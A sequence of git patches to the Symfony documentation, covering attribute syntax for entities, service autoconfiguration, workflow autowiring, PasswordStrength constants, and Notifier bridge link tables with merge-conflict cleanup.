+
 HTTP Proxies
 ~~~~~~~~~~~~
 

From 2e0598b69b6f4b3ff40a01fd0daaa343bab9f1c5 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Thu, 20 Apr 2023 20:12:10 +0200
Subject: [PATCH 4582/7107] use attributes for entity example

---
 security.rst | 25 +++++++------------------
 1 file changed, 7 insertions(+), 18 deletions(-)

diff --git a/security.rst b/security.rst
index fb0ad14e2ac..a492e38fac7 100644
--- a/security.rst
+++ b/security.rst
@@ -125,32 +125,21 @@ from the `MakerBundle`_:
     use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
-    /**
-     * @ORM\Entity(repositoryClass=UserRepository::class)
-     */
+    #[ORM\Entity(repositoryClass: UserRepository::class)]
     class User implements UserInterface, PasswordAuthenticatedUserInterface
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
         private $id;
 
-        /**
-         * @ORM\Column(type="string", length=180, unique=true)
-         */
+        #[ORM\Column(type: 'string', length: 180, unique: true)]
         private $email;
 
-        /**
-         * @ORM\Column(type="json")
-         */
+        #[ORM\Column(type: 'json')]
         private $roles = [];
 
-        /**
-         * @var string The hashed password
-         * @ORM\Column(type="string")
-         */
+        #[ORM\Column(type: 'string')]
         private $password;
 
         public function getId(): ?int

From 35cf2b7829565d626cd482c03119449f9ae7a483 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Apr 2023 12:38:17 +0200
Subject: [PATCH 4583/7107] Adding link to main forms article

Page: https://symfony.com/doc/5.4/form/without_class.html
---
 form/without_class.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index 2a642e0d7f0..d0a44ed6205 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -2,8 +2,8 @@ How to Use a Form without a Data Class
 ======================================
 
 In most cases, a form is tied to an object, and the fields of the form get
-and store their data on the properties of that object. This is exactly what
-you've seen so far in this article with the ``Task`` class.
+and store their data on the properties of that object. This is what
+:doc:`the main article on forms </forms>` is about.
 
 But sometimes, you may want to use a form without a class, and get back an
 array of the submitted data. The ``getData()`` method allows you to do

From 7ccec465fddd3ef50535d97f0ba8f3933efc49f4 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 21 Apr 2023 14:21:06 +0200
Subject: [PATCH 4584/7107] Fix XML tag array attribute example

---
 service_container/tags.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 94fb0e9e1c8..b37827f0cb2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -481,8 +481,10 @@ To answer this, change the service declaration:
 
                 <service id="MailerSendmailTransport">
                     <tag name="app.mail_transport">
-                        <attribute>sendmail</attribute>
-                        <attribute>anotherAlias</attribute>
+                        <attribute name="alias">
+                            <attribute name="0">sendmail</attribute>
+                            <attribute name="1">anotherAlias</attribute>
+                        </attribute>
                     </tag>
                 </service>
             </services>

From 93d4c89dd06659d6731c23b2cae19e62df89be4e Mon Sep 17 00:00:00 2001
From: Jeremy Jumeau <jumeau.jeremy@gmail.com>
Date: Fri, 21 Apr 2023 14:23:49 +0200
Subject: [PATCH 4585/7107] Fix syntax in code example with promoted attribute

---
 service_container/service_decoration.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b68da08d47a..7dc3b9fe866 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -153,7 +153,8 @@ automatically changed to ``'.inner'``):
         class DecoratingMailer
         {
             public function __construct(
-                private #[MapDecorated] $inner,
+                #[MapDecorated]
+                private $inner,
             ) {
             }
 

From d09cf034f6a5cfe110fb2b35b670a3d2060c87a2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20ADAM?= <aurelien.adam@adveris.fr>
Date: Sat, 22 Apr 2023 16:13:04 +0200
Subject: [PATCH 4586/7107] [DI] Mark service as public with #[Autoconfigure]
 attribute

---
 service_container.rst               | 20 ++++++++++++++++++++
 service_container/alias_private.rst | 20 ++++++++++++++++++++
 2 files changed, 40 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 47a421f1345..cdda1155344 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -927,6 +927,26 @@ setting:
             ;
         };
 
+It is also possible to define a service as public thanks to the ``#[Autoconfigure]``
+attribute. This attribute must be used directly on the class of the service
+you want to configure::
+
+    // src/Service/PublicService.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+    #[Autoconfigure(public: true)]
+    class PublicService
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[Autoconfigure]`` attribute was introduced in Symfony 5.3. PHP
+    attributes require at least PHP 8.0.
+
 .. deprecated:: 5.1
 
     As of Symfony 5.1, it is no longer possible to autowire the service
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 44a8492a53d..fc8bfa0f432 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -62,6 +62,26 @@ You can also control the ``public`` option on a service-by-service basis:
                 ->public();
         };
 
+It is also possible to define a service as public thanks to the ``#[Autoconfigure]``
+attribute. This attribute must be used directly on the class of the service
+you want to configure::
+
+    // src/Service/Foo.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+    #[Autoconfigure(public: true)]
+    class Foo
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[Autoconfigure]`` attribute was introduced in Symfony 5.3. PHP
+    attributes require at least PHP 8.0.
+
 .. _services-why-private:
 
 Private services are special because they allow the container to optimize whether

From 8a9c669d262b3acab74e79894675de7e2f75312a Mon Sep 17 00:00:00 2001
From: Ldiro <35108257+Ldiro@users.noreply.github.com>
Date: Sun, 23 Apr 2023 16:51:21 +0200
Subject: [PATCH 4587/7107] Delete depreciations code examples from
 workflow-and-state-machine.rst

Hi !

Some code examples contains depreciations since sf 6.2 or are not explicit enough in my humble opinion. Here's a little change that I propose to make this page a little bit more clear / up to date.
---
 workflow/workflow-and-state-machine.rst | 44 ++++++++-----------------
 1 file changed, 13 insertions(+), 31 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 5dcd1f77755..3884af25059 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -249,51 +249,28 @@ Below is the configuration for the pull request state machine.
                     ->to(['review']);
         };
 
-In a Symfony application using the
-:ref:`default services.yaml configuration <service-container-services-load-example>`,
-you can get this state machine by injecting the Workflow registry service::
-
-    // ...
-    use App\Entity\PullRequest;
-    use Symfony\Component\Workflow\Registry;
-
-    class SomeService
-    {
-        public function __construct(
-            private Registry $workflows,
-        ) {
-        }
-
-        public function someMethod(PullRequest $pullRequest)
-        {
-            $stateMachine = $this->workflows->get($pullRequest, 'pull_request');
-            $stateMachine->apply($pullRequest, 'wait_for_review');
-            // ...
-        }
-
-        // ...
-    }
-
 Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`)
 or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you
-have defined in your configuration. This means that you can use ``workflow.pull_request``
-or ``state_machine.pull_request`` respectively in your service definitions
-to access the proper service::
+have defined in your configuration. You can use the workflow inside a class by using
+:doc:`service autowiring </service_container/autowiring>` and using
+``camelCased workflow name + Workflow`` as parameter name. If it is a state
+machine type, use ``camelCased workflow name + StateMachine``::
 
     // ...
     use App\Entity\PullRequest;
-    use Symfony\Component\Workflow\StateMachine;
+    use Symfony\Component\Workflow\WorkflowInterface;
 
     class SomeService
     {
         public function __construct(
-            private StateMachine $stateMachine,
+            // Symfony will inject the 'pull_request' state machine configured before
+            private WorkflowInterface $pullRequestWorkflow,
         ) {
         }
 
         public function someMethod(PullRequest $pullRequest)
         {
-            $this->stateMachine->apply($pullRequest, 'wait_for_review', [
+            $this->pullRequestWorkflow->apply($pullRequest, 'wait_for_review', [
                 'log_comment' => 'My logging comment for the wait for review transition.',
             ]);
             // ...
@@ -302,6 +279,11 @@ to access the proper service::
         // ...
     }
 
+
+.. versionadded:: 6.2
+
+    All workflows and state machines services are tagged since in Symfony 6.2.
+
 Automatic and Manual Validation
 -------------------------------
 

From 3175594ad5ff54495a01bc5d6a93713562cbeaa6 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Tue, 25 Apr 2023 09:20:19 +0200
Subject: [PATCH 4588/7107] [Notifier] Add links to push bridges' README

---
 notifier.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f12ab679cf3..56ea489d43a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -425,12 +425,12 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-==============  ====================================  =================================================================================
-Service         Package                               DSN
-==============  ====================================  =================================================================================
-Expo            ``symfony/expo-notifier``              ``expo://Token@default``
-OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-==============  ====================================  =================================================================================
+=================  ====================================  =================================================================================
+Service            Package                               DSN
+=================  ====================================  =================================================================================
+`Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
+`OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+=================  ====================================  =================================================================================
 
 .. versionadded:: 5.4
 
@@ -910,6 +910,7 @@ is dispatched. Listeners receive a
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
 .. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md
 .. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
+.. _`Expo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Expo/README.md
 .. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
 .. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md
 .. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md
@@ -930,6 +931,7 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
+.. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From e753954862ff188c59f839837789f96da7eeca0b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Apr 2023 19:36:40 +0200
Subject: [PATCH 4589/7107] [Validator] Update the name of a level in
 PasswordStrength constraint

---
 reference/constraints/PasswordStrength.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 2625cbc0f40..ce18f95c4f6 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -1,6 +1,10 @@
 PasswordStrength
 ================
 
+.. versionadded:: 6.3
+
+    The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
+
 Validates that the given password has reached the minimum strength required by
 the constraint.
 
@@ -15,7 +19,7 @@ Basic Usage
 
 The following constraint ensures that the ``rawPassword`` property of the
 ``User`` class reaches the minimum strength required by the constraint.
-By default, the minimum required score is 2.
+By default, the minimum required score is ``2``.
 
 .. configuration-block::
 
@@ -77,11 +81,12 @@ Available Options
 ``minScore``
 ~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_REASONABLE`` (``2``)
+**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_MEDIUM`` (``2``)
 
 The minimum required strength of the password. Available constants are:
+
 * ``PasswordStrength::STRENGTH_WEAK`` = ``1``
-* ``PasswordStrength::STRENGTH_REASONABLE`` = ``2``
+* ``PasswordStrength::STRENGTH_MEDIUM`` = ``2``
 * ``PasswordStrength::STRENGTH_STRONG`` = ``3``
 * ``PasswordStrength::STRENGTH_VERY_STRONG`` = ``4``
 

From a2756508070354f26878d54244d80097aabcd5f9 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Wed, 26 Apr 2023 08:32:43 +0200
Subject: [PATCH 4590/7107] [Notifier] Add links to push bridges' README

---
 notifier.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 62feb32c5b0..e651e5b6dcd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -405,7 +405,7 @@ integration with these push services:
 =================  ====================================  =================================================================================
 Service            Package                               DSN
 =================  ====================================  =================================================================================
-Engagespot         ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
+`Engagespot`_      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
 `OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 =================  ====================================  =================================================================================
@@ -947,6 +947,7 @@ is dispatched. Listeners receive a
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
 .. _`ContactEveryone`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/ContactEveryone/README.md
 .. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md
+.. _`Engagespot`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Engagespot/README.md
 .. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
 .. _`Expo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Expo/README.md
 .. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
@@ -970,11 +971,8 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
-<<<<<<< HEAD
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
-=======
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
->>>>>>> 5.4
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From 4863ee5ded377e4ec34d99a71e1d7563b12ad1d4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:00:40 +0200
Subject: [PATCH 4591/7107] Fix: Order

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e651e5b6dcd..d28f69b1919 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -971,8 +971,8 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
-.. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
+.. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From aaff1e01ecf23cc5bd49a452783a66463f6f3228 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:02:13 +0200
Subject: [PATCH 4592/7107] Fix: Remove merge conflict

---
 notifier.rst | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7c3d3c7f2f3..8cf2e0bc907 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -420,25 +420,15 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-<<<<<<< HEAD
-==============  ====================================  =================================================================================
-Service         Package                               DSN
-==============  ====================================  =================================================================================
-Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
-Expo            ``symfony/expo-notifier``              ``expo://Token@default``
-OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
-Pushover        ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
-==============  ====================================  =================================================================================
-=======
 =================  ====================================  =================================================================================
 Service            Package                               DSN
 =================  ====================================  =================================================================================
 `Engagespot`_      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
 `OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+PagerDuty          ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
+Pushover           ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
 =================  ====================================  =================================================================================
->>>>>>> 6.2
 
 .. versionadded:: 6.1
 

From 0f65b2c8b088ec49a595e523f77766bed4b17a11 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Wed, 26 Apr 2023 09:07:35 +0200
Subject: [PATCH 4593/7107] [Notifier] Add links to push bridges' README

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 8cf2e0bc907..1a601eb7cf7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -426,8 +426,8 @@ Service            Package                               DSN
 `Engagespot`_      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
 `OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-PagerDuty          ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
-Pushover           ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
+`PagerDuty`_       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
+`Pushover`_        ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
 =================  ====================================  =================================================================================
 
 .. versionadded:: 6.1
@@ -1002,7 +1002,9 @@ is dispatched. Listeners receive a
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
+.. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
+.. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
 .. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From 9725ffc520a3ec4ea15634f490caeae4cab7d2d2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:21:01 +0200
Subject: [PATCH 4594/7107] Rearange table

---
 notifier.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 56ea489d43a..390f4071cc6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -425,12 +425,12 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-=================  ====================================  =================================================================================
-Service            Package                               DSN
-=================  ====================================  =================================================================================
-`Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
-`OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-=================  ====================================  =================================================================================
+===============  ====================================  ==============================================================================
+Service          Package                               DSN
+===============  ====================================  ==============================================================================
+`Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
+`OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+===============  ====================================  ==============================================================================
 
 .. versionadded:: 5.4
 

From d86b238b7afa884553622625a6092e285fa50be0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:23:08 +0200
Subject: [PATCH 4595/7107] Sort

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 390f4071cc6..659f8f245ff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -939,8 +939,8 @@ is dispatched. Listeners receive a
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
-.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
+.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md

From 7fed88b3698f82a3d5bb9115118df93dc01a643c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:23:39 +0200
Subject: [PATCH 4596/7107] Sort

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ab50022f61f..2086c08979e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -976,6 +976,7 @@ is dispatched. Listeners receive a
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
+.. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
 .. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
@@ -984,7 +985,6 @@ is dispatched. Listeners receive a
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
-.. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md

From 2d158857fa900b0429959be2e056a128fce6f270 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:24:21 +0200
Subject: [PATCH 4597/7107] Sort

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3eaf5037e8d..0480405cc4a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -986,8 +986,8 @@ is dispatched. Listeners receive a
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
 .. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md
 .. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md
-.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
+.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
@@ -1005,8 +1005,8 @@ is dispatched. Listeners receive a
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
